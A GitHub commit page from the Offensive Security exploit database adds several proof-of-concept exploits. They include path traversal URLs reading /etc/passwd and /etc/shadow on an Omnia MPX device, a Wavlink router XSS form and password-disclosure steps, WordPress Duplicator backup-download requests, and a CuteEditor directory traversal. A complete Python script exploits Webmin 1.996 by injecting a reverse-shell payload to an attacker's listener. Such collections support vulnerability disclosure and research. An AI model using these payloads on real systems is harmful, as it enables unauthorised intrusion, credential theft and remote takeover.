Skip to content

Commit 16b24da

Browse files
author
Offensive Security
committed
DB: 2022-08-02
19 changes to exploits/shellcodes Omnia MPX 1.5.0+r1 - Path Traversal Easy Chat Server 3.1 - Remote Stack Buffer Overflow (SEH) OctoBot WebInterface 0.4.3 - Remote Code Execution (RCE) Wavlink WN533A8 - Cross-Site Scripting (XSS) Wavlink WN530HG4 - Password Disclosure Wavlink WN533A8 - Password Disclosure WordPress Plugin Duplicator 1.4.6 - Unauthenticated Backup Download WordPress Plugin Duplicator 1.4.7 - Information Disclosure CuteEditor for PHP 6.6 - Directory Traversal mPDF 7.0 - Local File Inclusion NanoCMS v0.4 - Remote Code Execution (RCE) (Authenticated) Webmin 1.996 - Remote Code Execution (RCE) (Authenticated)
1 parent dfb2891 commit 16b24da

File tree

20 files changed

+739
-11
lines changed

20 files changed

+739
-11
lines changed

‎exploits/hardware/remote/50996.txt

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
# Exploit Title: Omnia MPX 1.5.0+r1 - Path Traversal
2+
# Date: 24/7/2022
3+
# Exploit Author: Momen Eldawakhly (Cyber Guy)
4+
# Vendor Homepage: https://www.telosalliance.com/
5+
# Software Link: https://support.telosalliance.com/article/934ixoaz3l-mpx-node-release-notes-and-update-instructions
6+
# Version: 1.5.0+r1
7+
# Tested on: MacOS
8+
# PoC:
9+
http://10.10.10.32:19630/logs/downloadMainLog?fname=../../../../../../..//etc/passwd
10+
http://10.10.10.32:19630/logs/downloadMainLog?fname=../../../../../../..//etc/shadow
11+
12+
User Database:
13+
http://10.10.10.32:19630/logs/downloadMainLog?fname=../../../../../../..///config/MPXnode/www/appConfig/userDB.json

‎exploits/hardware/webapps/50989.txt

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
# Exploit Title: Wavlink WN533A8 - Cross-Site Scripting (XSS)
2+
# Exploit Author: Ahmed Alroky
3+
# Author Company : AIactive
4+
# Version: M33A8.V5030.190716
5+
# Vendor home page : wavlink.com
6+
# Authentication Required: No
7+
# CVE : CVE-2022-34048
8+
# Tested on: Windows
9+
10+
# Poc code
11+
<html>
12+
<!-- CSRF PoC - generated by Burp Suite Professional -->
13+
<body>
14+
<script>history.pushState('', '', '/')</script>
15+
<form action="http://IP_ADDRESS/cgi-bin/login.cgi" method="POST">
16+
<input type="hidden" name="newUI" value="1" />
17+
<input type="hidden" name="page" value="login" />
18+
<input type="hidden" name="username" value="admin" />
19+
<input type="hidden" name="langChange" value="0" />
20+
<input type="hidden" name="ipaddr" value="196&#46;219&#46;234&#46;10" />
21+
<input type="hidden" name="login&#95;page" value="x"&#41;&#59;alert&#40;9&#41;&#59;x&#61;&#40;"" />
22+
<input type="hidden" name="homepage" value="main&#46;shtml" />
23+
<input type="hidden" name="sysinitpage" value="sysinit&#46;shtml" />
24+
<input type="hidden" name="wizardpage" value="wiz&#46;shtml" />
25+
<input type="hidden" name="hostname" value="59&#46;148&#46;80&#46;138" />
26+
<input type="hidden" name="key" value="M94947765" />
27+
<input type="hidden" name="password" value="ab4e98e4640b6c1ee88574ec0f13f908" />
28+
<input type="hidden" name="lang&#95;select" value="en" />
29+
<input type="submit" value="Submit request" />
30+
</form>
31+
</body>
32+
</html>

‎exploits/hardware/webapps/50990.txt

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
# Exploit Title: Wavlink WN533A8 - Password Disclosure
2+
# Date: 2022-06-12
3+
# Exploit Author: Ahmed Alroky
4+
# Author Company : AIactive
5+
# Version: M33A8.V5030.190716
6+
# Vendor home page : wavlink.com
7+
# Authentication Required: No
8+
# CVE : CVE-2022-34046
9+
# Tested on: Windows
10+
11+
# Exploit
12+
13+
view-source:http://IP_ADDRESS/sysinit.shtml
14+
search for var syspasswd="
15+
you will find the username and the password

‎exploits/hardware/webapps/50991.txt

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
# Exploit Title: Wavlink WN530HG4 - Password Disclosure
2+
# Date: 2022-06-12
3+
# Exploit Author: Ahmed Alroky
4+
# Author Company : AIactive
5+
# Version: M30HG4.V5030.191116
6+
# Vendor home page : wavlink.com
7+
# Authentication Required: No
8+
# CVE : CVE-2022-34047
9+
# Tested on: Windows
10+
11+
# Exploit
12+
13+
view-source:http://IP_address/set_safety.shtml?r=52300
14+
search for var syspasswd="
15+
you will find the username and the password

‎exploits/linux/webapps/50998.py

Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
# Exploit Title: Webmin 1.996 - Remote Code Execution (RCE) (Authenticated)
2+
# Date: 2022-07-25
3+
# Exploit Author: Emir Polat
4+
# Technical analysis: https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165
5+
# Vendor Homepage: https://www.webmin.com/
6+
# Software Link: https://www.webmin.com/download.html
7+
# Version: < 1.997
8+
# Tested On: Version 1.996 - Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)
9+
# CVE: CVE-2022-36446
10+
11+
import argparse
12+
import requests
13+
from bs4 import BeautifulSoup
14+
15+
def login(args):
16+
global session
17+
global sysUser
18+
19+
session = requests.Session()
20+
loginUrl = f"{args.target}:10000/session_login.cgi"
21+
infoUrl = f"{args.target}:10000/sysinfo.cgi"
22+
23+
username = args.username
24+
password = args.password
25+
data = {'user': username, 'pass': password}
26+
27+
login = session.post(loginUrl, verify=False, data=data, cookies={'testing': '1'})
28+
sysInfo = session.post(infoUrl, verify=False, cookies={'sid' : session.cookies['sid']})
29+
30+
bs = BeautifulSoup(sysInfo.text, 'html.parser')
31+
sysUser = [item["data-user"] for item in bs.find_all() if "data-user" in item.attrs]
32+
33+
if sysUser:
34+
return True
35+
else:
36+
return False
37+
38+
def exploit(args):
39+
payload = f"""
40+
1337;$(python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{args.listenip}",{args.listenport}));
41+
os.dup2(s.fileno(),0);
42+
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")');
43+
"""
44+
45+
updateUrl = f"{args.target}:10000/package-updates"
46+
exploitUrl = f"{args.target}:10000/package-updates/update.cgi"
47+
48+
exploitData = {'mode' : 'new', 'search' : 'ssh', 'redir' : '', 'redirdesc' : '', 'u' : payload, 'confirm' : 'Install+Now'}
49+
50+
if login(args):
51+
print("[+] Successfully Logged In !")
52+
print(f"[+] Session Cookie => sid={session.cookies['sid']}")
53+
print(f"[+] User Found => {sysUser[0]}")
54+
55+
res = session.get(updateUrl)
56+
bs = BeautifulSoup(res.text, 'html.parser')
57+
58+
updateAccess = [item["data-module"] for item in bs.find_all() if "data-module" in item.attrs]
59+
60+
if updateAccess[0] == "package-updates":
61+
print(f"[+] User '{sysUser[0]}' has permission to access <<Software Package Updates>>")
62+
print(f"[+] Exploit starting ... ")
63+
print(f"[+] Shell will spawn to {args.listenip} via port {args.listenport}")
64+
65+
session.headers.update({'Referer' : f'{args.target}:10000/package-updates/update.cgi?xnavigation=1'})
66+
session.post(exploitUrl, data=exploitData)
67+
else:
68+
print(f"[-] User '{sysUser[0]}' unfortunately hasn't permission to access <<Software Package Updates>>")
69+
else:
70+
print("[-] Login Failed !")
71+
72+
if __name__ == '__main__':
73+
parser = argparse.ArgumentParser(description="Webmin < 1.997 - Remote Code Execution (Authenticated)")
74+
parser.add_argument('-t', '--target', help='Target URL, Ex: https://webmin.localhost', required=True)
75+
parser.add_argument('-u', '--username', help='Username For Login', required=True)
76+
parser.add_argument('-p', '--password', help='Password For Login', required=True)
77+
parser.add_argument('-l', '--listenip', help='Listening address required to receive reverse shell', required=True)
78+
parser.add_argument('-lp','--listenport', help='Listening port required to receive reverse shell', required=True)
79+
parser.add_argument("-s", '--ssl', help="Use if server support SSL.", required=False)
80+
args = parser.parse_args()
81+
exploit(args)

‎exploits/php/webapps/50075.txt

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
# Exploit Title: Online Voting System 1.0 - Authentication Bypass (SQLi)
2-
# Exploit Author: Salman Asad (@LeoBreaker1411 / deathflash1411)
2+
# Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker
33
# Date 30.06.2021
44
# Vendor Homepage: https://www.sourcecodester.com/
55
# Software Link: https://www.sourcecodester.com/php/4808/voting-system-php.html

‎exploits/php/webapps/50076.txt

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
# Exploit Title: Online Voting System 1.0 - Remote Code Execution (Authenticated)
2-
# Exploit Author: Salman Asad (@LeoBreaker1411 / deathflash1411)
2+
# Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker
33
# Date 30.06.2021
44
# Vendor Homepage: https://www.sourcecodester.com/
55
# Software Link: https://www.sourcecodester.com/php/4808/voting-system-php.html

‎exploits/php/webapps/50992.txt

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
# Exploit Title: WordPress Plugin Duplicator 1.4.6 - Unauthenticated Backup Download
2+
# Google Dork: N/A
3+
# Date: 07.27.2022
4+
# Exploit Author: SecuriTrust
5+
# Vendor Homepage: https://snapcreek.com/
6+
# Software Link: https://wordpress.org/plugins/duplicator/
7+
# Version: < 1.4.7
8+
# Tested on: Linux, Windows
9+
# CVE : CVE-2022-2551
10+
# Reference: https://securitrust.fr
11+
# Reference: https://github.com/SecuriTrust/CVEsLab/CVE-2022-2551
12+
13+
#Product:
14+
WordPress Plugin Duplicator < 1.4.7
15+
16+
#Vulnerability:
17+
1-It allows an attacker to download the backup file.
18+
19+
#Proof-Of-Concept:
20+
1-Backup download.
21+
The backup file can be downloaded using the "is_daws" parameter.
22+
http://[PATH]/backups-dup-lite/dup-installer/main.installer.php

‎exploits/php/webapps/50993.txt

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
# Exploit Title: WordPress Plugin Duplicator 1.4.7 - Information Disclosure
2+
# Google Dork: N/A
3+
# Date: 07.27.2022
4+
# Exploit Author: SecuriTrust
5+
# Vendor Homepage: https://snapcreek.com/
6+
# Software Link: https://wordpress.org/plugins/duplicator/
7+
# Version: <= 1.4.7
8+
# Tested on: Linux, Windows
9+
# CVE : CVE-2022-2552
10+
# Reference: https://securitrust.fr
11+
# Reference: https://github.com/SecuriTrust/CVEsLab/CVE-2022-2552
12+
13+
#Product:
14+
WordPress Plugin Duplicator <= 1.4.7
15+
16+
#Vulnerability:
17+
1-Some system information may be disclosure.
18+
19+
#Proof-Of-Concept:
20+
1-System information.
21+
Some system information is obtained using the "view" parameter.
22+
http://[PATH]/backups-dup-lite/dup-installer/main.installer.php

‎exploits/php/webapps/50994.txt

Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
# Exploit Title: CuteEditor for PHP 6.6 - Directory Traversal
2+
# Google Dork: N/A
3+
# Date: November 17th, 2021
4+
# Exploit Author: Stefan Hesselman
5+
# Vendor Homepage: http://phphtmledit.com/
6+
# Software Link: http://phphtmledit.com/download/phphtmledit.zip
7+
# Version: 6.6
8+
# Tested on: Windows Server 2019
9+
# CVE : N/A
10+
11+
There is a path traversal vulnerability in the browse template feature in CuteEditor for PHP via the "rename file" option. An attacker with access to CuteEditor functions can write HTML templates to any directory inside the web root.
12+
13+
File: /phphtmledit/cuteeditor_files/Dialogs/Include_Security.php, Lines: 109-121
14+
15+
Vulnerable code:
16+
[SNIP]
17+
function ServerMapPath($input_path,$absolute_path,$virtual_path)
18+
{
19+
if($absolute_path!="")
20+
{
21+
return $absolute_path.str_ireplace($virtual_path,"",$input_path);
22+
}
23+
else
24+
{
25+
if(strtoupper(substr(PHP_OS, 0, 3) === 'WIN'))
26+
{
27+
if(empty($_SERVER['DOCUMENT_ROOT']) && !empty($_SERVER['SCRIPT_FILENAME'])) {
28+
$_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr($_SERVER['SCRIPT_FILENAME'], 0, 0 - strlen($_SERVER['PHP_SELF'])));
29+
}
30+
if(empty($_SERVER['DOCUMENT_ROOT']) && !empty($_SERVER['PATH_TRANSLATED'])) {
31+
$_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr(str_replace('\\\\', '\\', $_SERVER['PATH_TRANSLATED']), 0, 0 - strlen($_SERVER['PHP_SELF'])));
32+
}
33+
return $_SERVER["DOCUMENT_ROOT"].$input_path;
34+
}
35+
else
36+
{
37+
return ucfirst($_SERVER["DOCUMENT_ROOT"]).$input_path;
38+
}
39+
}
40+
}
41+
[SNIP]
42+
43+
ServerMapPath() takes 3 arguments: $input_path, $absolute_path, and $virtual_path and is used, among others, in the browse_template.php file.
44+
45+
File:/phphtmledit/cuteeditor_files/Dialogs/browse_Template.php, Lines: 47-56
46+
47+
Vulnerable function (renamefile, line 57):
48+
[SNIP]
49+
switch ($action)
50+
{
51+
[SNIP]
52+
case "renamefile":
53+
rename(ServerMapPath($_GET["filename"],$AbsoluteTemplateGalleryPath,$TemplateGalleryPath),ServerMapPath($_GET["newname"],$AbsoluteTemplateGalleryPath,$TemplateGalleryPath));
54+
print "<script language=\"javascript\">parent.row_click('".$_GET["newname"]."');</script>";
55+
break;
56+
[SNIP]
57+
58+
$input_path is $_GET["filename"] and is under control of the attacker. If an attacker uploads and renames the HTML template to '..\..\..\poc.html', it becomes:
59+
60+
C:\Inetpub\wwwroot\..\..\..\poc.html
61+
62+
Final result: writes poc.html to the webroot.
63+
64+
STEPS:
65+
66+
1. Create a poc.html file (XSS PoC will do).
67+
68+
<HTML>
69+
<title>Path Traversal PoC</title>
70+
<BODY>
71+
<h1>PoC</h1>
72+
<script>alert('directory traversal');</script>
73+
</BODY>
74+
</HTML>
75+
76+
2. Upload poc.html via the "Insert Templates" page using the "Upload files" option.
77+
3. Select poc.html and select "Rename File".
78+
4. Click on the pencil icon to the right of the poc.html file.
79+
5. Rename file to "..\..\..\poc.html".
80+
6. Press OK. poc.html is written three directories up.
81+
82+
This may require more or less dot dot slash (..\ or ../) depending on the size of your directory tree. Adjust slashes as needed.

0 commit comments

Comments
 (0)